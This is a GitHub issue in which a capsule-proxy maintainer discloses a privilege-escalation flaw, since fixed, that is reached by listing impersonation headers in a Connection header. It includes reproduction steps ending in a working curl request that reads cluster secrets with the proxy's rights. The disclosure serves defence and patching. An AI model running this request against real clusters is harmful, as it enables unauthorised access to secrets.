

New issue

[Jump to bottom](#)

Privilege escalation vulnerability via malicious "Connection" header #188

✓ Closed

prometherion opened this issue on Feb 18 · 1 comment · Fixed by #189

Assignees



Labels

bug

Milestone

📌 v0.2.1

prometherion commented on Feb 18

Member

A user crafting an API request directed at capsule-proxy can get a privilege escalation using the Service Account of the proxy itself.

This is done by passing the Impersonate-User or Impersonate-Group header in the Connection header, using the same exploit described here: [GHSA-pvxj-25m6-7vqr](#)

At this point, instead of impersonating the user and their permissions, the request will act as if it was from the ~~Rancher management server~~ Capsule Proxy and incorrectly return the information.

🏷️ prometherion added the bug label on Feb 18

👤 prometherion self-assigned this on Feb 18

🗨️ prometherion mentioned this issue on Feb 18

bug: cve exploiting malicious connection header #189

🔗 Merged

prometherion commented on Feb 18 • edited ▾

Member

Author

Steps on how to reproduce


```
kind create cluster --name capsule --wait 60s
helm upgrade --install capsule clastix/capsule -n capsule-system --create-namespace
mkcert 127.0.0.1 && kubectl --namespace capsule-system create secret tls capsule-proxy --
key=./127.0.0.1-key.pem --cert ./127.0.0.1.pem
helm upgrade --install capsule-proxy clastix/capsule-proxy -n capsule-system --create-namespace
kubectl -n capsule-system port-forward svc/capsule-proxy 9001
```


```
export TOKEN=$(any valid token)
```

```
curl --cacert /home/prometherion/.local/share/mkcert/rootCA.pem
"https://localhost:9001/api/v1/secrets" -H "Authorization: Bearer $TOKEN" -H "Connection: Imperso
nate-User, Impersonate-Group" -0
```

Many kudos to @carpenterm and @enj for pointing this out! 🙌

A review for the proposed PR would be great, along with the direct maintainers, such as @bsctl and @MaxFedotov!

🔗  prometherion added this to the **v0.2.1** milestone on Feb 18

 prometherion closed this as completed in [#189](#) on Feb 20

Assignees

 prometherion

Labels

bug

Projects

None yet


Milestone

v0.2.1

Development

Development

Successfully merging a pull request may close this issue.

 **bug: cve exploiting malicious connection header**
clastix/capsule-proxy

1 participant

